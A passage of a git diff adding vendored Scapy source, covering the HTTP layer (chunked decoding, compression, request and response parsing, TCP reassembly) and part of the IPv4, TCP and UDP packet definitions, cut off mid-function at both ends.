in common + return self.Http_Version + + def post_dissect(self, s): + if not conf.contribs["http"]["auto_compression"]: + return s + encodings = self._get_encodings() + # Un-chunkify + if "chunked" in encodings: + data = b"" + while s: + length, _, body = s.partition(b"\r\n") + try: + length = int(length, 16) + except ValueError: + # Not a valid chunk. Ignore + break + else: + load = body[:length] + if body[length:length + 2] != b"\r\n": + # Invalid chunk. Ignore + break + s = body[length + 2:] + data += load + if not s: + s = data + # Decompress + try: + if "deflate" in encodings: + import zlib + s = zlib.decompress(s) + elif "gzip" in encodings: + s = gzip_decompress(s) + elif "compress" in encodings: + import lzw + s = lzw.decompress(s) + elif "br" in encodings and is_brotli_available: + s = brotli.decompress(s) + except Exception: + # Cannot decompress - probably incomplete data + pass + return s + + def post_build(self, pkt, pay): + if not conf.contribs["http"]["auto_compression"]: + return pkt + pay + encodings = self._get_encodings() + # Compress + if "deflate" in encodings: + import zlib + pay = zlib.compress(pay) + elif "gzip" in encodings: + pay = gzip_compress(pay) + elif "compress" in encodings: + import lzw + pay = lzw.compress(pay) + elif "br" in encodings and is_brotli_available: + pay = brotli.compress(pay) + return pkt + pay + + def self_build(self, field_pos_list=None): + ''' Takes an HTTPRequest or HTTPResponse object, and creates its + string representation.''' + if not isinstance(self.underlayer, HTTP): + warning( + "An HTTPResponse/HTTPRequest should always be below an HTTP" + ) + # Check for cache + if self.raw_packet_cache is not None: + return self.raw_packet_cache + p = b"" + # Walk all the fields, in order + for f in self.fields_desc: + if f.name == "Unknown_Headers": + continue + # Get the field value + val = self.getfieldval(f.name) + if not val: + # Not specified. Skip + continue + if f.name not in ['Method', 'Path', 'Reason_Phrase', + 'Http_Version', 'Status_Code']: + val = _header_line(f.real_name, val) + # Fields used in the first line have a space as a separator, + # whereas headers are terminated by a new line + if isinstance(self, HTTPRequest): + if f.name in ['Method', 'Path']: + separator = b' ' + else: + separator = b'\r\n' + elif isinstance(self, HTTPResponse): + if f.name in ['Http_Version', 'Status_Code']: + separator = b' ' + else: + separator = b'\r\n' + # Add the field into the packet + p = f.addfield(self, p, val + separator) + # Handle Unknown_Headers + if self.Unknown_Headers: + headers_text = b"" + for name, value in six.iteritems(self.Unknown_Headers): + headers_text += _header_line(name, value) + b"\r\n" + p = self.get_field("Unknown_Headers").addfield( + self, p, headers_text + ) + # The packet might be empty, and in that case it should stay empty. + if p: + # Add an additional line after the last header + p = f.addfield(self, p, b'\r\n') + return p + + def guess_payload_class(self, payload): + """Detect potential payloads + """ + if self.Connection and b"Upgrade" in self.Connection: + from scapy.contrib.http2 import H2Frame + return H2Frame + return super(_HTTPContent, self).guess_payload_class(payload) + + +class _HTTPHeaderField(StrField): + """Modified StrField to handle HTTP Header names""" + __slots__ = ["real_name"] + + def __init__(self, name, default): + self.real_name = name + name = _strip_header_name(name) + StrField.__init__(self, name, default, fmt="H") + + +def _generate_headers(*args): + """Generate the header fields based on their name""" + # Order headers + all_headers = [] + for headers in args: + all_headers += headers + # Generate header fields + results = [] + for h in sorted(all_headers): + results.append(_HTTPHeaderField(h, None)) + return results + +# Create Request and Response packets + + +class HTTPRequest(_HTTPContent): + name = "HTTP Request" + fields_desc = [ + # First line + _HTTPHeaderField("Method", "GET"), + _HTTPHeaderField("Path", "/"), + _HTTPHeaderField("Http-Version", "HTTP/1.1"), + # Headers + ] + ( + _generate_headers( + GENERAL_HEADERS, + REQUEST_HEADERS, + COMMON_UNSTANDARD_GENERAL_HEADERS, + COMMON_UNSTANDARD_REQUEST_HEADERS + ) + ) + [ + _HTTPHeaderField("Unknown-Headers", None), + ] + + def do_dissect(self, s): + """From the HTTP packet string, populate the scapy object""" + first_line, body = _dissect_headers(self, s) + try: + Method, Path, HTTPVersion = re.split(br"\s+", first_line, 2) + self.setfieldval('Method', Method) + self.setfieldval('Path', Path) + self.setfieldval('Http_Version', HTTPVersion) + except ValueError: + pass + if body: + self.raw_packet_cache = s[:-len(body)] + else: + self.raw_packet_cache = s + return body + + def mysummary(self): + return self.sprintf( + "%HTTPRequest.Method% %HTTPRequest.Path% " + "%HTTPRequest.Http_Version%" + ) + + +class HTTPResponse(_HTTPContent): + name = "HTTP Response" + fields_desc = [ + # First line + _HTTPHeaderField("Http-Version", "HTTP/1.1"), + _HTTPHeaderField("Status-Code", "200"), + _HTTPHeaderField("Reason-Phrase", "OK"), + # Headers + ] + ( + _generate_headers( + GENERAL_HEADERS, + RESPONSE_HEADERS, + COMMON_UNSTANDARD_GENERAL_HEADERS, + COMMON_UNSTANDARD_RESPONSE_HEADERS + ) + ) + [ + _HTTPHeaderField("Unknown-Headers", None), + ] + + def answers(self, other): + return HTTPRequest in other + + def do_dissect(self, s): + ''' From the HTTP packet string, populate the scapy object ''' + first_line, body = _dissect_headers(self, s) + try: + HTTPVersion, Status, Reason = re.split(br"\s+", first_line, 2) + self.setfieldval('Http_Version', HTTPVersion) + self.setfieldval('Status_Code', Status) + self.setfieldval('Reason_Phrase', Reason) + except ValueError: + pass + if body: + self.raw_packet_cache = s[:-len(body)] + else: + self.raw_packet_cache = s + return body + + def mysummary(self): + return self.sprintf( + "%HTTPResponse.Http_Version% %HTTPResponse.Status_Code% " + "%HTTPResponse.Reason_Phrase%" + ) + +# General HTTP class + defragmentation + + +class HTTP(Packet): + name = "HTTP 1" + fields_desc = [] + show_indent = 0 + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 9: + from scapy.contrib.http2 import _HTTP2_types, H2Frame + # To detect a valid HTTP2, we check that the type is correct + # that the Reserved bit is set and length makes sense. + while _pkt: + if len(_pkt) < 9: + # Invalid total length + return cls + if ord(_pkt[3:4]) not in _HTTP2_types: + # Invalid type + return cls + length = struct.unpack("!I", b"\0" + _pkt[:3])[0] + 9 + if length > len(_pkt): + # Invalid length + return cls + sid = struct.unpack("!I", _pkt[5:9])[0] + if sid >> 31 != 0: + # Invalid Reserved bit + return cls + _pkt = _pkt[length:] + return H2Frame + return cls + + # tcp_reassemble is used by TCPSession in session.py + @classmethod + def tcp_reassemble(cls, data, metadata): + detect_end = metadata.get("detect_end", None) + is_unknown = metadata.get("detect_unknown", True) + if not detect_end or is_unknown: + metadata["detect_unknown"] = False + http_packet = HTTP(data) + # Detect packing method + if not isinstance(http_packet.payload, _HTTPContent): + return http_packet + length = http_packet.Content_Length + if length is not None: + # The packet provides a Content-Length attribute: let's + # use it. When the total size of the frags is high enough, + # we have the packet + length = int(length) + # Subtract the length of the "HTTP*" layer + if http_packet.payload.payload or length == 0: + http_length = len(data) - len(http_packet.payload.payload) + detect_end = lambda dat: len(dat) - http_length >= length + else: + # The HTTP layer isn't fully received. + detect_end = lambda dat: False + metadata["detect_unknown"] = True + else: + # It's not Content-Length based. It could be chunked + encodings = http_packet[HTTP].payload._get_encodings() + chunked = ("chunked" in encodings) + is_response = isinstance(http_packet.payload, HTTPResponse) + if chunked: + detect_end = lambda dat: dat.endswith(b"\r\n\r\n") + # HTTP Requests that do not have any content, + # end with a double CRLF + elif isinstance(http_packet.payload, HTTPRequest): + detect_end = lambda dat: dat.endswith(b"\r\n\r\n") + # In case we are handling a HTTP Request, + # we want to continue assessing the data, + # to handle requests with a body (POST) + metadata["detect_unknown"] = True + elif is_response and http_packet.Status_Code == b"101": + # If it's an upgrade response, it may also hold a + # different protocol data. + # make sure all headers are present + detect_end = lambda dat: dat.find(b"\r\n\r\n") + else: + # If neither Content-Length nor chunked is specified, + # it means it's the TCP packet that contains the data, + # or that the information hasn't been given yet. + detect_end = lambda dat: metadata.get("tcp_end", False) + metadata["detect_unknown"] = True + metadata["detect_end"] = detect_end + if detect_end(data): + return http_packet + else: + if detect_end(data): + http_packet = HTTP(data) + return http_packet + + def guess_payload_class(self, payload): + """Decides if the payload is an HTTP Request or Response, or + something else. + """ + try: + prog = re.compile( + br"^(?:OPTIONS|GET|HEAD|POST|PUT|DELETE|TRACE|CONNECT) " + br"(?:.+?) " + br"HTTP/\d\.\d$" + ) + crlfIndex = payload.index(b"\r\n") + req = payload[:crlfIndex] + result = prog.match(req) + if result: + return HTTPRequest + else: + prog = re.compile(br"^HTTP/\d\.\d \d\d\d .*$") + result = prog.match(req) + if result: + return HTTPResponse + except ValueError: + # Anything that isn't HTTP but on port 80 + pass + return Raw + + +def http_request(host, path="/", port=80, timeout=3, + display=False, verbose=0, + iptables=False, **headers): + """Util to perform an HTTP request, using the TCP_client. + + :param host: the host to connect to + :param path: the path of the request (default /) + :param port: the port (default 80) + :param timeout: timeout before None is returned + :param display: display the resullt in the default browser (default False) + :param iptables: temporarily prevents the kernel from + answering with a TCP RESET message. + :param headers: any additional headers passed to the request + + :returns: the HTTPResponse packet + """ + http_headers = { + "Accept_Encoding": b'gzip, deflate', + "Cache_Control": b'no-cache', + "Pragma": b'no-cache', + "Connection": b'keep-alive', + "Host": host, + "Path": path, + } + http_headers.update(headers) + req = HTTP() / HTTPRequest(**http_headers) + tcp_client = TCP_client.tcplink(HTTP, host, port, debug=verbose) + ans = None + if iptables: + ip = tcp_client.atmt.dst + iptables_rule = "iptables -%c INPUT -s %s -p tcp --sport 80 -j DROP" + assert(os.system(iptables_rule % ('A', ip)) == 0) + try: + ans = tcp_client.sr1(req, timeout=timeout, verbose=verbose) + finally: + tcp_client.close() + if iptables: + assert(os.system(iptables_rule % ('D', ip)) == 0) + if ans: + if display: + if Raw not in ans: + warning("No HTTP content returned. Cannot display") + return ans + # Write file + file = get_temp_file(autoext=".html") + with open(file, "wb") as fd: + fd.write(ans.load) + # Open browser + if WINDOWS: + os.startfile(file) + else: + with ContextManagerSubprocess(conf.prog.universal_open): + subprocess.Popen([conf.prog.universal_open, file]) + return ans + + +# Bindings + + +bind_bottom_up(TCP, HTTP, sport=80) +bind_bottom_up(TCP, HTTP, dport=80) +bind_layers(TCP, HTTP, sport=80, dport=80) + +bind_bottom_up(TCP, HTTP, sport=8080) +bind_bottom_up(TCP, HTTP, dport=8080) diff --git a/libs/scapy/layers/inet.py b/libs/scapy/layers/inet.py new file mode 100755 index 0000000..72a01dd --- /dev/null +++ b/libs/scapy/layers/inet.py @@ -0,0 +1,1944 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +IPv4 (Internet Protocol v4). +""" + +from __future__ import absolute_import +from __future__ import print_function +import time +import struct +import re +import random +import select +import socket +from collections import defaultdict + +from scapy.utils import checksum, do_graph, incremental_label, \ + linehexdump, strxor, whois, colgen +from scapy.base_classes import Gen, Net +from scapy.data import ETH_P_IP, ETH_P_ALL, DLT_RAW, DLT_RAW_ALT, DLT_IPV4, \ + IP_PROTOS, TCP_SERVICES, UDP_SERVICES +from scapy.layers.l2 import Ether, Dot3, getmacbyip, CookedLinux, GRE, SNAP, \ + Loopback +from scapy.compat import raw, chb, orb, bytes_encode +from scapy.config import conf +from scapy.extlib import plt, MATPLOTLIB, MATPLOTLIB_INLINED, \ + MATPLOTLIB_DEFAULT_PLOT_KARGS +from scapy.fields import ConditionalField, IPField, BitField, BitEnumField, \ + FieldLenField, StrLenField, ByteField, ShortField, ByteEnumField, \ + DestField, FieldListField, FlagsField, IntField, MultiEnumField, \ + PacketListField, ShortEnumField, SourceIPField, StrField, \ + StrFixedLenField, XByteField, XShortField, Emph +from scapy.packet import Packet, bind_layers, bind_bottom_up, NoPayload +from scapy.volatile import RandShort, RandInt, RandBin, RandNum, VolatileValue +from scapy.sendrecv import sr, sr1 +from scapy.plist import PacketList, SndRcvList +from scapy.automaton import Automaton, ATMT +from scapy.error import warning +from scapy.pton_ntop import inet_pton + +import scapy.as_resolvers + +import scapy.modules.six as six +from scapy.modules.six.moves import range + +#################### +# IP Tools class # +#################### + + +class IPTools(object): + """Add more powers to a class with an "src" attribute.""" + __slots__ = [] + + def whois(self): + """whois the source and print the output""" + print(whois(self.src).decode("utf8", "ignore")) + + def _ttl(self): + """Returns ttl or hlim, depending on the IP version""" + return self.hlim if isinstance(self, scapy.layers.inet6.IPv6) else self.ttl # noqa: E501 + + def ottl(self): + t = sorted([32, 64, 128, 255] + [self._ttl()]) + return t[t.index(self._ttl()) + 1] + + def hops(self): + return self.ottl() - self._ttl() + + +_ip_options_names = {0: "end_of_list", + 1: "nop", + 2: "security", + 3: "loose_source_route", + 4: "timestamp", + 5: "extended_security", + 6: "commercial_security", + 7: "record_route", + 8: "stream_id", + 9: "strict_source_route", + 10: "experimental_measurement", + 11: "mtu_probe", + 12: "mtu_reply", + 13: "flow_control", + 14: "access_control", + 15: "encode", + 16: "imi_traffic_descriptor", + 17: "extended_IP", + 18: "traceroute", + 19: "address_extension", + 20: "router_alert", + 21: "selective_directed_broadcast_mode", + 23: "dynamic_packet_state", + 24: "upstream_multicast_packet", + 25: "quick_start", + 30: "rfc4727_experiment", + } + + +class _IPOption_HDR(Packet): + fields_desc = [BitField("copy_flag", 0, 1), + BitEnumField("optclass", 0, 2, {0: "control", 2: "debug"}), + BitEnumField("option", 0, 5, _ip_options_names)] + + +class IPOption(Packet): + name = "IP Option" + fields_desc = [_IPOption_HDR, + FieldLenField("length", None, fmt="B", # Only option 0 and 1 have no length and value # noqa: E501 + length_of="value", adjust=lambda pkt, l:l + 2), # noqa: E501 + StrLenField("value", "", length_from=lambda pkt:pkt.length - 2)] # noqa: E501 + + def extract_padding(self, p): + return b"", p + + registered_ip_options = {} + + @classmethod + def register_variant(cls): + cls.registered_ip_options[cls.option.default] = cls + + @classmethod + def dispatch_hook(cls, pkt=None, *args, **kargs): + if pkt: + opt = orb(pkt[0]) & 0x1f + if opt in cls.registered_ip_options: + return cls.registered_ip_options[opt] + return cls + + +class IPOption_EOL(IPOption): + name = "IP Option End of Options List" + option = 0 + fields_desc = [_IPOption_HDR] + + +class IPOption_NOP(IPOption): + name = "IP Option No Operation" + option = 1 + fields_desc = [_IPOption_HDR] + + +class IPOption_Security(IPOption): + name = "IP Option Security" + copy_flag = 1 + option = 2 + fields_desc = [_IPOption_HDR, + ByteField("length", 11), + ShortField("security", 0), + ShortField("compartment", 0), + ShortField("handling_restrictions", 0), + StrFixedLenField("transmission_control_code", "xxx", 3), + ] + + +class IPOption_RR(IPOption): + name = "IP Option Record Route" + option = 7 + fields_desc = [_IPOption_HDR, + FieldLenField("length", None, fmt="B", + length_of="routers", adjust=lambda pkt, l:l + 3), # noqa: E501 + ByteField("pointer", 4), # 4 is first IP + FieldListField("routers", [], IPField("", "0.0.0.0"), + length_from=lambda pkt:pkt.length - 3) + ] + + def get_current_router(self): + return self.routers[self.pointer // 4 - 1] + + +class IPOption_LSRR(IPOption_RR): + name = "IP Option Loose Source and Record Route" + copy_flag = 1 + option = 3 + + +class IPOption_SSRR(IPOption_RR): + name = "IP Option Strict Source and Record Route" + copy_flag = 1 + option = 9 + + +class IPOption_Stream_Id(IPOption): + name = "IP Option Stream ID" + copy_flag = 1 + option = 8 + fields_desc = [_IPOption_HDR, + ByteField("length", 4), + ShortField("security", 0), ] + + +class IPOption_MTU_Probe(IPOption): + name = "IP Option MTU Probe" + option = 11 + fields_desc = [_IPOption_HDR, + ByteField("length", 4), + ShortField("mtu", 0), ] + + +class IPOption_MTU_Reply(IPOption_MTU_Probe): + name = "IP Option MTU Reply" + option = 12 + + +class IPOption_Traceroute(IPOption): + name = "IP Option Traceroute" + option = 18 + fields_desc = [_IPOption_HDR, + ByteField("length", 12), + ShortField("id", 0), + ShortField("outbound_hops", 0), + ShortField("return_hops", 0), + IPField("originator_ip", "0.0.0.0")] + + +class IPOption_Address_Extension(IPOption): + name = "IP Option Address Extension" + copy_flag = 1 + option = 19 + fields_desc = [_IPOption_HDR, + ByteField("length", 10), + IPField("src_ext", "0.0.0.0"), + IPField("dst_ext", "0.0.0.0")] + + +class IPOption_Router_Alert(IPOption): + name = "IP Option Router Alert" + copy_flag = 1 + option = 20 + fields_desc = [_IPOption_HDR, + ByteField("length", 4), + ShortEnumField("alert", 0, {0: "router_shall_examine_packet"}), ] # noqa: E501 + + +class IPOption_SDBM(IPOption): + name = "IP Option Selective Directed Broadcast Mode" + copy_flag = 1 + option = 21 + fields_desc = [_IPOption_HDR, + FieldLenField("length", None, fmt="B", + length_of="addresses", adjust=lambda pkt, l:l + 2), # noqa: E501 + FieldListField("addresses", [], IPField("", "0.0.0.0"), + length_from=lambda pkt:pkt.length - 2) + ] + + +TCPOptions = ( + {0: ("EOL", None), + 1: ("NOP", None), + 2: ("MSS", "!H"), + 3: ("WScale", "!B"), + 4: ("SAckOK", None), + 5: ("SAck", "!"), + 8: ("Timestamp", "!II"), + 14: ("AltChkSum", "!BH"), + 15: ("AltChkSumOpt", None), + 25: ("Mood", "!p"), + 28: ("UTO", "!H"), + 34: ("TFO", "!II"), + # RFC 3692 + # 253: ("Experiment", "!HHHH"), + # 254: ("Experiment", "!HHHH"), + }, + {"EOL": 0, + "NOP": 1, + "MSS": 2, + "WScale": 3, + "SAckOK": 4, + "SAck": 5, + "Timestamp": 8, + "AltChkSum": 14, + "AltChkSumOpt": 15, + "Mood": 25, + "UTO": 28, + "TFO": 34, + }) + + +class RandTCPOptions(VolatileValue): + def __init__(self, size=None): + if size is None: + size = RandNum(1, 5) + self.size = size + + def _fix(self): + # Pseudo-Random amount of options + # Random ("NAME", fmt) + rand_patterns = [ + random.choice(list( + (opt, fmt) for opt, fmt in six.itervalues(TCPOptions[0]) + if opt != 'EOL' + )) + for _ in range(self.size) + ] + rand_vals = [] + for oname, fmt in rand_patterns: + if fmt is None: + rand_vals.append((oname, b'')) + else: + # Process the fmt arguments 1 by 1 + structs = fmt[1:] if fmt[0] == "!" else fmt + rval = [] + for stru in structs: + stru = "!" + stru + if "s" in stru or "p" in stru: # str / chr + v = bytes(RandBin(struct.calcsize(stru))) + else: # int + _size = struct.calcsize(stru) + v = random.randint(0, 2 ** (8 * _size) - 1) + rval.append(v) + rand_vals.append((oname, tuple(rval))) + return rand_vals + + def __bytes__(self): + return TCPOptionsField.i2m(None, None, self._fix()) + + +class TCPOptionsField(StrField): + islist = 1 + + def getfield(self, pkt, s): + opsz = (pkt.dataofs - 5) * 4 + if opsz < 0: + warning("bad dataofs (%i). Assuming dataofs=5" % pkt.dataofs) + opsz = 0 + return s[opsz:], self.m2i(pkt, s[:opsz]) + + def m2i(self, pkt, x): + opt = [] + while x: + onum = orb(x[0]) + if onum == 0: + opt.append(("EOL", None)) + break + if onum == 1: + opt.append(("NOP", None)) + x = x[1:] + continue + try: + olen = orb(x[1]) + except IndexError: + olen = 0 + if olen < 2: + warning("Malformed TCP option (announced length is %i)" % olen) + olen = 2 + oval = x[2:olen] + if onum in TCPOptions[0]: + oname, ofmt = TCPOptions[0][onum] + if onum == 5: # SAck + ofmt += "%iI" % (len(oval) // 4) + if ofmt and struct.calcsize(ofmt) == len(oval): + oval = struct.unpack(ofmt, oval) + if len(oval) == 1: + oval = oval[0] + opt.append((oname, oval)) + else: + opt.append((onum, oval)) + x = x[olen:] + return opt + + def i2h(self, pkt, x): + if not x: + return [] + return x + + def i2m(self, pkt, x): + opt = b"" + for oname, oval in x: + # We check for a (0, b'') or (1, b'') option first + oname = {0: "EOL", 1: "NOP"}.get(oname, oname) + if isinstance(oname, str): + if oname == "NOP": + opt += b"\x01" + continue + elif oname == "EOL": + opt += b"\x00" + continue + elif oname in TCPOptions[1]: + onum = TCPOptions[1][oname] + ofmt = TCPOptions[0][onum][1] + if onum == 5: # SAck + ofmt += "%iI" % len(oval) + _test_isinstance = not isinstance(oval, (bytes, str)) + if ofmt is not None and (_test_isinstance or "s" in ofmt): + if not isinstance(oval, tuple): + oval = (oval,) + oval = struct.pack(ofmt, *oval) + else: + warning("option [%s] unknown. Skipped.", oname) + continue + else: + onum = oname + if not isinstance(onum, int): + warning("Invalid option number [%i]" % onum) + continue + if not isinstance(oval, (bytes, str)): + warning("option [%i] is not bytes." % onum) + continue + if isinstance(oval, str): + oval = bytes_encode(oval) + opt += chb(onum) + chb(2 + len(oval)) + oval + return opt + b"\x00" * (3 - ((len(opt) + 3) % 4)) # Padding + + def randval(self): + return RandTCPOptions() + + +class ICMPTimeStampField(IntField): + re_hmsm = re.compile("([0-2]?[0-9])[Hh:](([0-5]?[0-9])([Mm:]([0-5]?[0-9])([sS:.]([0-9]{0,3}))?)?)?$") # noqa: E501 + + def i2repr(self, pkt, val): + if val is None: + return "--" + else: + sec, milli = divmod(val, 1000) + min, sec = divmod(sec, 60) + hour, min = divmod(min, 60) + return "%d:%d:%d.%d" % (hour, min, sec, int(milli)) + + def any2i(self, pkt, val): + if isinstance(val, str): + hmsms = self.re_hmsm.match(val) + if hmsms: + h, _, m, _, s, _, ms = hmsms.groups() + ms = int(((ms or "") + "000")[:3]) + val = ((int(h) * 60 + int(m or 0)) * 60 + int(s or 0)) * 1000 + ms # noqa: E501 + else: + val = 0 + elif val is None: + val = int((time.time() % (24 * 60 * 60)) * 1000) + return val + + +class DestIPField(IPField, DestField): + bindings = {} + + def __init__(self, name, default): + IPField.__init__(self, name, None) + DestField.__init__(self, name, default) + + def i2m(self, pkt, x): + if x is None: + x = self.dst_from_pkt(pkt) + return IPField.i2m(self, pkt, x) + + def i2h(self, pkt, x): + if x is None: + x = self.dst_from_pkt(pkt) + return IPField.i2h(self, pkt, x) + + +class IP(Packet, IPTools): + __slots__ = ["_defrag_pos"] + name = "IP" + fields_desc = [BitField("version", 4, 4), + BitField("ihl", None, 4), + XByteField("tos", 0), + ShortField("len", None), + ShortField("id", 1), + FlagsField("flags", 0, 3, ["MF", "DF", "evil"]), + BitField("frag", 0, 13), + ByteField("ttl", 64), + ByteEnumField("proto", 0, IP_PROTOS), + XShortField("chksum", None), + # IPField("src", "127.0.0.1"), + Emph(SourceIPField("src", "dst")), + Emph(DestIPField("dst", "127.0.0.1")), + PacketListField("options", [], IPOption, length_from=lambda p:p.ihl * 4 - 20)] # noqa: E501 + + def post_build(self, p, pay): + ihl = self.ihl + p += b"\0" * ((-len(p)) % 4) # pad IP options if needed + if ihl is None: + ihl = len(p) // 4 + p = chb(((self.version & 0xf) << 4) | ihl & 0x0f) + p[1:] + if self.len is None: + tmp_len = len(p) + len(pay) + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + if self.chksum is None: + ck = checksum(p) + p = p[:10] + chb(ck >> 8) + chb(ck & 0xff) + p[12:] + return p + pay + + def extract_padding(self, s): + tmp_len = self.len - (self.ihl << 2) + if tmp_len < 0: + return s, b"" + return s[:tmp_len], s[tmp_len:] + + def route(self): + dst = self.dst + if isinstance(dst, Gen): + dst = next(iter(dst)) + if conf.route is None: + # unused import, only to initialize conf.route + import scapy.route # noqa: F401 + return conf.route.route(dst) + + def hashret(self): + if ((self.proto == socket.IPPROTO_ICMP) and + (isinstance(self.payload, ICMP)) and + (self.payload.type in [3, 4, 5, 11, 12])): + return self.payload.payload.hashret() + if not conf.checkIPinIP and self.proto in [4, 41]: # IP, IPv6 + return self.payload.hashret() + if self.dst == "224.0.0.251": # mDNS + return struct.pack("B", self.proto) + self.payload.hashret() + if conf.checkIPsrc and conf.checkIPaddr: + return (strxor(inet_pton(socket.AF_INET, self.src), + inet_pton(socket.AF_INET, self.dst)) + + struct.pack("B", self.proto) + self.payload.hashret()) + return struct.pack("B", self.proto) + self.payload.hashret() + + def answers(self, other): + if not conf.checkIPinIP: # skip IP in IP and IPv6 in IP + if self.proto in [4, 41]: + return self.payload.answers(other) + if isinstance(other, IP) and other.proto in [4, 41]: + return self.answers(other.payload) + if conf.ipv6_enabled \ + and isinstance(other, scapy.layers.inet6.IPv6) \ + and other.nh in [4, 41]: + return self.answers(other.payload) + if not isinstance(other, IP): + return 0 + if conf.checkIPaddr: + if other.dst == "224.0.0.251" and self.dst == "224.0.0.251": # mDNS # noqa: E501 + return self.payload.answers(other.payload) + elif (self.dst != other.src): + return 0 + if ((self.proto == socket.IPPROTO_ICMP) and + (isinstance(self.payload, ICMP)) and + (self.payload.type in [3, 4, 5, 11, 12])): + # ICMP error message + return self.payload.payload.answers(other) + + else: + if ((conf.checkIPaddr and (self.src != other.dst)) or + (self.proto != other.proto)): + return 0 + return self.payload.answers(other.payload) + + def mysummary(self): + s = self.sprintf("%IP.src% > %IP.dst% %IP.proto%") + if self.frag: + s += " frag:%i" % self.frag + return s + + def fragment(self, fragsize=1480): + """Fragment IP datagrams""" + fragsize = (fragsize + 7) // 8 * 8 + lst = [] + fnb = 0 + fl = self + while fl.underlayer is not None: + fnb += 1 + fl = fl.underlayer + + for p in fl: + s = raw(p[fnb].payload) + nb = (len(s) + fragsize - 1) // fragsize + for i in range(nb): + q = p.copy() + del(q[fnb].payload) + del(q[fnb].chksum) + del(q[fnb].len) + if i != nb - 1: + q[fnb].flags |= 1 + q[fnb].frag += i * fragsize // 8 + r = conf.raw_layer(load=s[i * fragsize:(i + 1) * fragsize]) + r.overload_fields = p[fnb].payload.overload_fields.copy() + q.add_payload(r) + lst.append(q) + return lst + + +def in4_chksum(proto, u, p): + """ + As Specified in RFC 2460 - 8.1 Upper-Layer Checksums + + Performs IPv4 Upper Layer checksum computation. Provided parameters are: + - 'proto' : value of upper layer protocol + - 'u' : IP upper layer instance + - 'p' : the payload of the upper layer provided as a string + """ + if not isinstance(u, IP): + warning("No IP underlayer to compute checksum. Leaving null.") + return 0 + if u.len is not None: + if u.ihl is None: + olen = sum(len(x) for x in u.options) + ihl = 5 + olen // 4 + (1 if olen % 4 else 0) + else: + ihl = u.ihl + ln = max(u.len - 4 * ihl, 0) + else: + ln = len(p) + psdhdr = struct.pack("!4s4sHH", + inet_pton(socket.AF_INET, u.src), + inet_pton(socket.AF_INET, u.dst), + proto, + ln) + return checksum(psdhdr + p) + + +class TCP(Packet): + name = "TCP" + fields_desc = [ShortEnumField("sport", 20, TCP_SERVICES), + ShortEnumField("dport", 80, TCP_SERVICES), + IntField("seq", 0), + IntField("ack", 0), + BitField("dataofs", None, 4), + BitField("reserved", 0, 3), + FlagsField("flags", 0x2, 9, "FSRPAUECN"), + ShortField("window", 8192), + XShortField("chksum", None), + ShortField("urgptr", 0), + TCPOptionsField("options", "")] + + def post_build(self, p, pay): + p += pay + dataofs = self.dataofs + if dataofs is None: + opt_len = len(self.get_field("options").i2m(self, self.options)) + dataofs = 5 + ((opt_len + 3) // 4) + dataofs = (dataofs << 4) | orb(p[12]) & 0x0f + p = p[:12] + chb(dataofs & 0xff) + p[13:] + if self.chksum is None: + if isinstance(self.underlayer, IP): + ck = in4_chksum(socket.IPPROTO_TCP, self.underlayer, p) + p = p[:16] + struct.pack("!H", ck) + p[18:] + elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): # noqa: E501 + ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_TCP, self.underlayer, p) # noqa: E501 + p = p[:16] + struct.pack("!H", ck) + p[18:] + else: + warning("No IP underlayer to compute checksum. Leaving null.") + return p + + def hashret(self): + if conf.checkIPsrc: + return struct.pack("H", self.sport ^ self.dport) + self.payload.hashret() # noqa: E501 + else: + return self.payload.hashret() + + def answers(self, other): + if not isinstance(other, TCP): + return 0 + # RST packets don't get answers + if other.flags.R: + return 0 + # We do not support the four-way handshakes with the SYN+ACK + # answer split in two packets (one ACK and one SYN): in that + # case the ACK will be seen as an answer, but not the SYN. + if self.flags.S: + # SYN packets without ACK are not answers + if not self.flags.A: + return 0 + # SYN+ACK packets answer SYN packets + if not other.flags.S: + return 0 + if conf.checkIPsrc: + if not ((self.sport == other.dport) and + (self.dport == other.sport)): + return 0 + # Do not check ack value for SYN packets without ACK + if not (other.flags.S and not other.flags.A) \ + and abs(other.ack - self.seq) > 2: + return 0 + # Do not check ack value for RST packets without ACK + if self.flags.R and not self.flags.A: + return 1 + if abs(other.seq - self.ack) > 2 + len(other.payload): + return 0 + return 1 + + def mysummary(self): + if isinstance(self.underlayer, IP): + return self.underlayer.sprintf("TCP %IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %TCP.flags%") # noqa: E501 + elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6): # noqa: E501 + return self.underlayer.sprintf("TCP %IPv6.src%:%TCP.sport% > %IPv6.dst%:%TCP.dport% %TCP.flags%") # noqa: E501 + else: + return self.sprintf("TCP %TCP.sport% > %TCP.dport% %TCP.flags%") + + +class UDP(Packet): + name = "UDP" + fields_desc = [ShortEnumField("sport", 53, UDP_SERVICES), + ShortEnumField("dport", 53, UDP_SERVICES), + ShortField("len", None), + XShortField("chksum", None), ] + + def post_build(self, p, pay): + p += pay + tmp_len = self.len + if tmp_len is None: + tmp_len = len(p) + p = p[:4] + struct.pack("!H", tmp_len) + p[6:] + if self.chksum is None: + if isinstance(self.underlayer, IP): + ck = in4_chksum(socket.IPPROTO_UDP, self.underlayer, p) + # According to RFC768 if the result checksum is 0, it should be set to 0xFFFF # noqa: E501 + if ck == 0: + ck = 0xFFFF + p = p[:6] + struct.pack("!H", ck) + p[8:] + elif isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): # noqa: E501 + ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_UDP, self.underlayer, p) # noqa: E501 + # According to RFC2460 if the result checksum is 0, it should be set to 0xFFFF # noqa: E501 + if ck == 0: + ck = 0xFFFF + p = p[:6] + struct.pack("!H", ck) + p[8:] + else: + warning("No IP underlayer to compute checksum. Leaving null.") + return p + + def extract_padding(self, s): + tmp_len = self.len - 8 + return s[:tmp_len], s[tmp_len:] + + def hashret(self): + return self.payload.hashret() + + def answers(self, other): + if not isinstance(other, UDP): + return 0 + if conf.checkIPsrc: + if self.dport != other.sport: + return 